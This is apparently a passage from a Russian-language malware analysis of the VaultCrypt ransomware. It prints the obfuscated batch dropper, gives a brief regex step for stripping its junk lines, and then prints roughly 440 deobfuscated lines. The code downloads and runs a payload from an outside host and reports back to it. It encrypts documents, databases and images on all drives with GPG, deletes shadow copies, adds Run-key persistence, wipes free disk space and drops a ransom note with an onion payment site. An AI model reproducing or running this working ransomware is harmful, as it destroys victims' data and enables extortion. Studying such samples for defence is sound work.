    echo End Function >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo Function StringToMB^(S^) >> "%temp%\77406a1e.vbs"
    echo Dim I,B >> "%temp%\77406a1e.vbs"
    echo For I=1 To Len^(S^) >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo B=B ^& ChrB^(Asc^(Mid^(S,I,1^)^)^) >> "%temp%\77406a1e.vbs"
    echo Next >> "%temp%\77406a1e.vbs"
    echo StringToMB=B >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo End Function >> "%temp%\77406a1e.vbs"
    echo Sub Wait^(^) >> "%temp%\77406a1e.vbs"
    echo On Error Resume Next >> "%temp%\77406a1e.vbs"
    echo End Sub >> "%temp%\77406a1e.vbs"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo var fp="%%temp%%\\",os="attached-email",WshShell=CreateObject^("WScript.Shell"^),fp=WshShell.ExpandEnvironmentStrings^(fp^);function CreateObject^(b^){return new ActiveXObject^(b^)}function dw^(b,d^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^);new ActiveXObject^("Scripting.FileSystemObject"^);var a=new ActiveXObject^("ADODB.Stream"^);a.Open^(^);a.Type=1;a.Write^(c.ResponseBody^);a.Position=0;a.SaveToFile^(d,2^);a.Close^(^)}dw^("http://"+os+".com/v.vlt",""+fp+"30cb056a.exe"^); > "%temp%\885873e9.js"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    wscript.exe //B //Nologo //T:120 "%temp%\885873e9.js"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    if exist 30cb056a.exe (
    "%temp%\30cb056a.exe" -f "%temp%\91c09c60.25ca7a7c"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    wscript.exe //B //Nologo //T:120 "%temp%\77406a1e.vbs" "%temp%\91c09c60.25ca7a7c" http://attached-email.com/v.php pf
    del /f /q 30cb056a.exe
    )
    del /f /q "%temp%\885873e9.js"
    del /f /q "%temp%\77406a1e.vbs"
    del /f /q "%temp%\91c09c60.25ca7a7c"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    attrib -h -s "%temp%\9480bf43.76a94786"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    del /f /q "%temp%\9480bf43.76a94786"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    del /f /q "%temp%\*.gpg"
    del /f /q "%temp%\*.*xe"
    echo Y|assoc .vault=d21f132a
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo Y|ftype "d21f132a"=mshta.exe vbscript:Execute^(^"msgbox ^"^" BLOCK:^"^"^&vbNewLine^&^"^" %%1^"^"^&vbNewLine^&vbNewLine^&ChrW^(10139^)^&^"^" KEY PURCHASE: http://restoredz4xpmuqr.onion^"^"^&vbNewLine^&vbNewLine^&^"^" [accessible only via Tor Browser: http://torproject.org]^"^",16,^"^"VaultCrypt [Need to purchase key]^"^":close^"^)
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    echo Y|assoc "d21f132a"\DefaultIcon=%SystemRoot%\System32\shell32.dll,-48
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "b320494e" /t REG_SZ /f /d "mshta %appdata%\ddae25beb5b57d6e.hta"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "e1a04a3c" /f
    del /f /q "%temp%\e33176c1.js"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "58f139df" /f
    reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "ed3f074a" /f
    start mshta "%temp%\ddae25beb5b57d6e.hta"
    attrib -s -h "%temp%\9480bf43.76a94786"
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    del /f /q "%temp%\9480bf43.76a94786"
    if exist "%systemroot%\system32\cipher.exe" (
    FOR %%s IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :461cd8b8 %%s
    goto 3c5d9ac8
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    :461cd8b8
    cipher /w:%1:
    goto:eof
    :3c5d9ac8
    echo 871c371d
    )
    del /f /q %0
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    :871c371d
    
    echo SpEtra7rEphaGeVaChAbrukEstaGafra >nul
    echo Waw6sw5TUPh7FustAh544brajEPUTrAb >nul
    

    Внутри файла есть много строк вида

    echo ... > nul
    

    и

    echo ...
    

    Это, по сути, пустые операторы, которые нигде не используются.

    Вновь откроем какой-нибудь текстовый редактор и заменим все вхождения регулярного выражения ^echo [a-zA-Z0-9]+ >nul\n на ничего (пустую строку). А затем заменим на ничего все вхождения регулярного выражения ^echo [a-zA-Z0-9]+\n.

    Получим несколько менее запутанный код.

    440 строк позитива:
    @ECHO OFF
    
    SetLocal EnableDelayedExpansion
    cd "%TEMP%"
    if not exist "%temp%\9480bf43.76a94786" (
    echo 871c371d > "%temp%\9480bf43.76a94786"
    attrib +s +h "%temp%\9480bf43.76a94786"
    ) else (
    goto 871c371d
    )
    rename "%temp%\design.css" "gpg.exe"
    copy /y "%temp%\design.css" "%temp%\gpg.exe"
    del /f /q "%temp%\design.css"
    chcp 866
    set 715c7be3=!RANDOM!
    set b67b5d00=!RANDOM!
    set dc841a88=!RANDOM!
    set db5a2d8a=!RANDOM!
    set ee1f189d=!RANDOM!
    set 2162ea2b=!RANDOM!
    set 58d179b8=!RANDOM!
    set 3d645b52=RU
    if exist "%APPDATA%\gnupg" RENAME "%APPDATA%\gnupg" gnupg_%random%
    echo Key-Type: RSA> "%temp%\9c668934.2ca1046c"
    echo Key-Length: 1024>> "%temp%\9c668934.2ca1046c"
    echo Name-Real: Cellar>> "%temp%\9c668934.2ca1046c"
    
    "%temp%\gpg.exe" --batch --homedir "%temp%" --gen-key "%temp%\9c668934.2ca1046c"
    echo -----BEGIN PGP PUBLIC KEY BLOCK-----> "%temp%\03dfb98e.7087b06e"
    echo Version: GnuPG v1>> "%temp%\03dfb98e.7087b06e"
    echo.>> "%temp%\03dfb98e.7087b06e"
    echo mI0EVbFePwEEAMM+eRmPkcVTTwqLOyCkSlOTDjfnJpU2vTt94yMq1c1Ix1RF2fxp>> "%temp%\03dfb98e.7087b06e"
    echo S9ZDuQ9qfhqUxXiUtsEY7kB1pHtcyCeqtdrYST4YzJTeNCZNTiq2mVkQlPXqcvO/>> "%temp%\03dfb98e.7087b06e"
    echo hXpyYH/DNB6XmdQP9rmb/gIb5qHpRNoWlb1MBDZAJnHU3PEA2LcXbBX/ABEBAAG0>> "%temp%\03dfb98e.7087b06e"
    echo ClZhdWx0Q3J5cHSIuAQTAQIAIgUCVbFePwIbLwYLCQgHAwIGFQgCCQoLBBYCAwEC>> "%temp%\03dfb98e.7087b06e"
    echo HgECF4AACgkQ+Zg2Eii5y+eiQQQAm9r0sfXO5pp4/yy6lJG+zZAiijgzECVAQvw9>> "%temp%\03dfb98e.7087b06e"
    echo j+JE6n7mZnZDm632PrLumTHE9PauifXmyTFf0RPUI/D5B8QFPQn9hoNf041aaEgq>> "%temp%\03dfb98e.7087b06e"
    echo bTQSy7TIwZJfTyZyq/yhJiH0RLI7yhj/88sjX+uu7miGHO9jb1ygTo/qe5n3Q/Vp>> "%temp%\03dfb98e.7087b06e"
    echo xpSJJFU=>> "%temp%\03dfb98e.7087b06e"
    echo =CuiR>> "%temp%\03dfb98e.7087b06e"
    echo -----END PGP PUBLIC KEY BLOCK----->> "%temp%\03dfb98e.7087b06e"
    
    "%temp%\gpg.exe" -r Cellar --export-secret-keys --yes --homedir "%temp%" -a> "%temp%\3637bf69.36ddf8fe"
    del /f /q "%temp%\9c668934.2ca1046c"
    echo.>> "%temp%\3637bf69.36ddf8fe"
    echo BDATE: !DATE!>> "%temp%\3637bf69.36ddf8fe"
    echo UNAME: !USERNAME!>> "%temp%\3637bf69.36ddf8fe"
    echo CNAME: !COMPUTERNAME!>> "%temp%\3637bf69.36ddf8fe"
    echo PQQID: AKG-4813>> "%temp%\3637bf69.36ddf8fe"
    echo ULANG: !3d645b52!>> "%temp%\3637bf69.36ddf8fe"
    echo 01HSH: !715c7be3!>> "%temp%\3637bf69.36ddf8fe"
    echo 02HSH: !b67b5d00!>> "%temp%\3637bf69.36ddf8fe"
    echo 03HSH: !db5a2d8a!>> "%temp%\3637bf69.36ddf8fe"
    echo 04HSH: !dc841a88!>> "%temp%\3637bf69.36ddf8fe"
    echo 05HSH: !ee1f189d!>> "%temp%\3637bf69.36ddf8fe"
    echo FHASH: !2162ea2b!>> "%temp%\3637bf69.36ddf8fe"
    echo chcp 866 > "%temp%\61231f25.9db8b89a"
    FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :1010f32d %%f
    echo if exist "%%TeMp%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 01FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 01FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto 441f5342
    :1010f32d
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.xls *.doc) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    :441f5342
    echo Set objShell = CreateObject^("Shell.Application"^) > "%temp%\59665d79.vbs"
    echo Set objWshShell = WScript.CreateObject^("WScript.Shell"^) >> "%temp%\59665d79.vbs"
    echo Set objWshProcessEnv = objWshShell.Environment^("PROCESS"^) >> "%temp%\59665d79.vbs"
    echo objShell.ShellExecute "wmic.exe", "shadowcopy delete /nointeractive", "", "runas", 0 >> "%temp%\59665d79.vbs"
    echo var cdp="%%TEMP%%\\69aca909.cmd";var WshShell=CreateObject("WScript.Shell");cdp=WshShell.ExpandEnvironmentStrings(cdp);function CreateObject(fq){return new ActiveXObject(fq)}function xx(cdp){WshShell.Run(cdp,0,0);}xx(''+cdp+'');> "%temp%\acda3f33.js"
    echo.> "%temp%\69aca909.cmd"
    echo SetLocal EnableDelayedExpansion>> "%temp%\69aca909.cmd"
    echo for /f "tokens=2*" %%%%i in ^('reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v "CurrentVersion"'^) do set fnd7=%%%%j>> "%temp%\69aca909.cmd"
    echo if not %%fnd7:~0,1%% GEQ 6 goto a3811a18>> "%temp%\69aca909.cmd"
    echo set ntries=^0>> "%temp%\69aca909.cmd"
    echo :3c843d11>> "%temp%\69aca909.cmd"
    echo wscript.exe //B //Nologo "%%temp%%\59665d79.vbs"^& tasklist^|findstr /i wmic.exe>> "%temp%\69aca909.cmd"
    echo if not ^^!errorlevel^^!==0 ^(>> "%temp%\69aca909.cmd"
    echo set /a ntries+=^1>> "%temp%\69aca909.cmd"
    echo if not ^^!ntries^^! GEQ 16 goto 3c843d11>> "%temp%\69aca909.cmd"
    echo ^)>> "%temp%\69aca909.cmd"
    echo :a3811a18>> "%temp%\69aca909.cmd"
    echo del /f /q "%temp%\acda3f33.js">> "%temp%\69aca909.cmd"
    echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd"
    echo echo del /f /q "%temp%\59665d79.vbs">> "%temp%\69aca909.cmd"
    echo echo 1107cc4c ^> "%%temp%%\69aca909.cmd">> "%temp%\69aca909.cmd"
    start wscript.exe //B //Nologo "%temp%\acda3f33.js"
    FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :c68cd952 %%f
    echo if exist "%%TeMp%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 02FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 02FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto 9b100e11
    :c68cd952
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.pdf *.rtf) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    :9b100e11
    FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :a556dfcb %%f
    echo if exist "%%TeMp%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 03FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 03FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto cd9f3e2a
    
    :a556dfcb
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.psd *.dwg *.cdr) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    :cd9f3e2a
    FOR %%f IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :071faa5e %%f
    echo if exist "%%TeMp%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 04FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 04FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto e0aede1c
    :071faa5e
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.cd *.mdb *.1cd *.dbf *.sqlite) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    :e0aede1c
    FOR %%s IN (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) DO call :f941ecc1 %%s
    echo if exist "%%TeMp%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%AppDATA%%\VAULT.KEY" echo 05FNSH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo if exist "%%USERPROFILE%%\Desktop\VAULT.KEY" echo 05FNSH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    goto ca70214e
    :f941ecc1
    dir /B "%1:\"&& for /r "%1:\" %%i in (*.jpg *.zip) do (
    echo "%%TeMp%%\gpg.exe" -r Cellar --yes -q --no-verbose --trust-model always --encrypt-files "%%i"^& move /y "%%i.gpg" "%%i"^& RENAME "%%i" "%%~nxi.vault">> "%temp%\61231f25.9db8b89a"
    echo %%i>> "%temp%\21b0fb7b.7ca0ec0c"
    )
    goto:eof
    :ca70214e
    set loco=!random!!random!
    echo function CreateObject^(b^){return new ActiveXObject^(b^)} >> !loco!.js
    echo function ok^(b^){var c=new ActiveXObject^("MSXML2.XMLHTTP"^);c.open^("GET",b,0^);c.send^(^)} >> !loco!.js
    echo ok^("http://attached-email.com/c1.php"^); >> !loco!.js
    wscript.exe //B //nologo //T:40 "!loco!.js"
    echo echo FHASH-OK^>^> "%%TeMp%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo echo FHASH-OK^>^> "%%AppDATA%%\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo echo FHASH-OK^>^> "%%USERPROFILE%%\Desktop\VAULT.KEY">> "%temp%\61231f25.9db8b89a"
    echo echo 1e759748 ^> "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a"
    echo del /f /q "%%TeMp%%\4c2e533d.cmd">> "%temp%\61231f25.9db8b89a"
    findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\21b0fb7b.7ca0ec0c"> "%temp%\97cf86b0.e479bce7"
    findstr /i /v "windows recycle program avatar roaming msoffice temporary sample themes uploads csize resource internet com_ intel common resources texture profiles library clipart manual games framework64 setupcache autograph maps amd64 cache support guide abbyy application thumbnails avatars template adobe" "%temp%\61231f25.9db8b89a"> "%temp%\f2a431bc.6ccc04ec"
    findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\97cf86b0.e479bce7"> "%temp%\8f9c3dbb.9767d548"
    findstr /v "AppData APPDATA appdata temp TEMP Temp" "%temp%\f2a431bc.6ccc04ec"> "%temp%\4c2e533d.cmd"
    del /f /q "%temp%\97cf86b0.e479bce7"
    del /f /q "%temp%\f2a431bc.6ccc04ec"
    del /f /q "%temp%\21b0fb7b.7ca0ec0c"
    del /f /q "%temp%\61231f25.9db8b89a"
    echo XCONF: !58d179b8!>> "%temp%\3637bf69.36ddf8fe"
    set 3a3b7af1=66668
    for /f %%f in ('find /c /v ""^< "%temp%\8f9c3dbb.9767d548"') do (
    set 3a3b7af1=%%f
    )
    echo QNTTY: !3a3b7af1!>> "%temp%\3637bf69.36ddf8fe"
    for %%c IN (01:xls 04:doc 05:rtf 10:pdf 11:psd 12:dwg 13:cdr 19:cd 20:mdb 21:1cd 23:dbf 24:sqlite 26:jpg 27:zip) do (
    for /f "tokens=1,2 delims=:" %%i in ("%%c") do (
    for /f %%b in ('find /c /i ".%%j"^< "%temp%\8f9c3dbb.9767d548"') do (
    echo %%iEXT: %%b>> "%temp%\3637bf69.36ddf8fe"
    )))
    echo 02EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 03EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 06EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 07EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 08EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 09EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 14EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 15EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 16EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 17EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 18EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 22EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 25EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 28EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo 29EXT: 0 >> "%temp%\3637bf69.36ddf8fe"
    echo.>> "%temp%\8f9c3dbb.9767d548"
    echo XCONF: !58d179b8!>> "%temp%\8f9c3dbb.9767d548"
    del /f /q "!loco!.js"
    "%temp%\gpg.exe" --import "%temp%\03dfb98e.7087b06e"
    del /f /q "%temp%\03dfb98e.7087b06e"
    "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always -o "%temp%\VAULT.KEY" -e "%temp%\3637bf69.36ddf8fe"
    "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always -o "%temp%\CONFIRMATION.KEY" -e "%temp%\8f9c3dbb.9767d548"
    if not exist "%temp%\VAULT.KEY" (
    "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\3637bf69.36ddf8fe"
    RENAME "%temp%\3637bf69.36ddf8fe.gpg" VAULT.KEY
    )
    if not exist "%temp%\CONFIRMATION.KEY" (
    "%temp%\gpg.exe" -r VaultCrypt --yes -q --no-verbose --trust-model always --encrypt-files "%temp%\8f9c3dbb.9767d548"
    RENAME "%temp%\8f9c3dbb.9767d548.gpg" CONFIRMATION.KEY
    )
    if not exist "%temp%\VAULT.KEY" (
    del /f /q "%temp%\*.vlt"
    del /f /q "%temp%\*.gpg"
    del /f /q "%temp%\random_seed"
    del /f /q "%temp%\*.lock"
    del /f /q "%temp%\*.bak"
    del /f /q "%temp%\*.list"
    goto 6d0f24b8
    )
    echo.>> "%temp%\VAULT.KEY"
    echo 01FNSH-!715c7be3!>> "%temp%\VAULT.KEY"
    echo 02FNSH-!b67b5d00!>> "%temp%\VAULT.KEY"
    echo 03FNSH-!db5a2d8a!>> "%temp%\VAULT.KEY"
    echo 04FNSH-!dc841a88!>> "%temp%\VAULT.KEY"
    echo 05FNSH-!ee1f189d!>> "%temp%\VAULT.KEY"
    echo FHASH-!2162ea2b!>> "%temp%\VAULT.KEY"
    
    echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e> "%temp%\secring.qpq"
    echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\secring.qpq"
    echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c>> "%temp%\secring.qpq"
    echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\secring.qpq"
    echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\secring.qpq"
    echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\secring.qpq"
    move /y "%temp%\secring.qpq" "%temp%\secring.gpg"
    echo 9767d548 3a3b7af16d0f24b8 6d997bc025ca7a7c 7bff218e4077430c> "%temp%\36ddf8fe3637bf69.qpq"
    echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 071faa5ef941ecc1 ca70214e1e7597484c2e533d97cf86b0e479bce7>> "%temp%\36ddf8fe3637bf69.qpq"
    echo acda3f33 ca70214e 91c09c6030cb056a cb2f4cf2 7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\36ddf8fe3637bf69.qpq"
    echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\36ddf8fe3637bf69.qpq"
    move /y "%temp%\36ddf8fe3637bf69.qpq" "%temp%\3637bf69.36ddf8fe"
    echo 59665d79acda3f3369aca9093c843d11 a3811a181107cc4cc68cd952> "%temp%\9767d5488f9c3dbb.qpq"
    echo 9767d5483a3b7af1 6d0f24b86d997bc025ca7a7c7bff218e4077430c>> "%temp%\9767d5488f9c3dbb.qpq"
    echo 77406a1e885873e930cb056a91c09c60 25ca7a7cd21f132ab320494e>> "%temp%\9767d5488f9c3dbb.qpq"
    move /y "%temp%\9767d5488f9c3dbb.qpq" "%temp%\8f9c3dbb.9767d548"
    del /f /q "%temp%\secring.gpg"
    del /f /q "%temp%\3637bf69.36ddf8fe"
    del /f /q "%temp%\8f9c3dbb.9767d548"
    del /f /q "%temp%\21b0fb7b.7ca0ec0c"
    del /f /q "%temp%\random_seed"
    del /f /q "%temp%\trustdb.gpg"
    del /f /q "%temp%\secring.gpg"
    del /f /q "%temp%\*.lock"
    del /f /q "%temp%\*.bak"
    attrib -s -h -r "%AppData%\gnupg\*.*"
    attrib -s -h -r "%AppData%\gnupg"
    del /f /q "%AppData%\gnupg\*.*"
    rmdir /s /q "%AppData%\gnupg"
    copy /y "%temp%\CONFIRMATION.KEY" "%appdata%\CONFIRMATION.KEY"
    copy /y "%temp%\VAULT.KEY" "%appdata%\VAULT.KEY"
    copy /y "%temp%\VAULT.KEY" "%temp%\4077430c_VAULT.KEY"
    echo 01FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo 02FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo 03FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo 04FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo 05FNSH-OK>> "%temp%\4077430c_VAULT.KEY"
    echo FHASH-OK>> "%temp%\4077430c_VAULT.KEY"
    attrib +r "%temp%\4077430c_VAULT.KEY"
    copy /y "%temp%\VAULT.KEY" "%userprofile%\Desktop\VAULT.KEY"
    echo.> "%temp%\VAULT.txt"
    echo Ваши рабочие документы и базы данных были заблокированы и помечены форматом .vаult >> "%temp%\VAULT.txt"
    
    echo Для их восстановления необходимо получить уникальный ключ>> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo   ПРОЦЕДУРА ПОЛУЧЕНИЯ КЛЮЧА: >> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo КРАТКО>> "%temp%\VAULT.txt"
    echo 1. Перейдите на наш веб-ресурс>> "%temp%\VAULT.txt"
    echo 2. Гарантированно получите Ваш ключ>> "%temp%\VAULT.txt"
    echo 3. Восстановите файлы в прежний вид>> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo ДЕТАЛЬНО>> "%temp%\VAULT.txt"
    echo   Шаг 1:>> "%temp%\VAULT.txt"
    echo Скачайте Tor браузер с официального сайта: http://torproject.org>> "%temp%\VAULT.txt"
    echo   Шаг 2:>> "%temp%\VAULT.txt"
    echo Используя Tor браузер посетите сайт: http://restoredz4xpmuqr.onion>> "%temp%\VAULT.txt"
    echo   Шаг 3:>> "%temp%\VAULT.txt"
    echo Найдите Ваш уникальный VAULT.KEY на компьютере - это Ваш ключ к личной клиент-панели. Не удалите его>> "%temp%\VAULT.txt"
    echo Авторизируйтесь на сайте используя ключ VAULT.KEY>> "%temp%\VAULT.txt"
    echo Перейдите в раздел FAQ и ознакомьтесь с дальнейшей процедурой>> "%temp%\VAULT.txt"
    echo   STEP 4:>> "%temp%\VAULT.txt"
    echo После получения ключа, Вы можете восстановить файлы используя наше ПО с открытым исходным кодом или же безопасно использовать своё ПО>> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo ДОПОЛНИТЕЛЬНО>> "%temp%\VAULT.txt"
    echo a^) Вы не сможете восстановить файлы без уникального ключа ^(который безопасно хранится на нашем сервере^)>> "%temp%\VAULT.txt"
    echo b^) Если Вы не можете найти Ваш VAULT.KEY, поищите во временной папке TEMP >> "%temp%\VAULT.txt"
    echo c^) Ваша стоимость восстановления не окончательная, пишите в чат>> "%temp%\VAULT.txt"
    echo.>> "%temp%\VAULT.txt"
    echo   Дата блокировки: %date% ^(%time:~0,5%^)>> "%temp%\VAULT.txt"
    copy /y "%temp%\VAULT.txt" "%userprofile%\Desktop\vault.txt"
    attrib +h "%userprofile%\Desktop\vault.txt"
    
    echo var cdp="%%TeMp%%\\4c2e533d.cmd";var WshShell=CreateObject("WScript.Shell");cdp=WshShell.ExpandEnvironmentStrings(cdp);function CreateObject(fq){return new ActiveXObject(fq)}function xx(cdp){WshShell.Run(cdp,0,0);}xx(''+cdp+'');>> "%temp%\e33176c1.js"
